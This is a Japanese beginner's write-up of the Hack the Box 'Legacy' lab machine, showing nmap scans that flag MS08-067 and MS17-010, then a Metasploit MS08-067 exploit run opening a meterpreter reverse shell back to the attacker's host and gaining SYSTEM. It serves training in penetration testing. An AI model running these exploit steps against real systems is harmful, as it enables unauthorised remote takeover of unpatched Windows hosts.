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【Hack the Box write-up】Legacy

 ·   ·  ☕ 3 min read  ·  ✍️ さんぽし

はじめに

筆者は Hack the Box 初心者です。
何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。
さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。
github | sanposhiho/MY_CHEAT_SHEET

machineについて

難易度は easy です。
スクリーンショット 2020-05-23 0.23.56.png

nmap

kali@kali:~$ nmap -sV -sC 10.10.10.4 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-22 09:44 EDT
Nmap scan report for 10.10.10.4
Host is up (0.25s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h31m09s, deviation: 2h07m16s, median: 4d23h01m09s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:19:cd (VMware)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-05-27T18:46:33+03:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.54 seconds

kali@kali:~$ nmap --script=vuln 10.10.10.4 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-22 09:49 EDT
Nmap scan report for 10.10.10.4
Host is up (0.25s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
139/tcp  open   netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp  open   microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3389/tcp closed ms-wbt-server

Host script results:
|_samba-vuln-cve-2012-1182: SMB: Failed to receive bytes: EOF
| smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 36.15 seconds

metasploit

上の結果から metasploit で使えそうな exploit を試していると以下が通りました。

msf5 exploit(windows/smb/ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   10.10.10.4       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.19      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf5 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.19:4444 
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (180291 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.19:4444 -> 10.10.10.4:1031) at 2020-05-22 10:47:00 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

root まで取れちゃいました(very easy..。

終わりに

これまた簡単でした。
精進します

番外編

metasploit なしで攻略してみたいところだったのですが、ExploitDB 内の

kali@kali:~/ms08_067$ searchsploit -p 40279
  Exploit: Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)
      URL: https://www.exploit-db.com/exploits/40279
     Path: /usr/share/exploitdb/exploits/windows/remote/40279.py
File Type: Python script, ASCII text executable, with very long lines, with CRLF line terminators

Copied EDB-ID #40279's path to the clipboard.

これはうまく動作しませんでした

Google で別のものを探してみましたが、
https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py
こいつを使うと成功した!という writeup もいくつかあったのですが、僕は成功させられませんでした。(1 時間頑張って無理だったので諦めました。。

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さんぽし
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さんぽし
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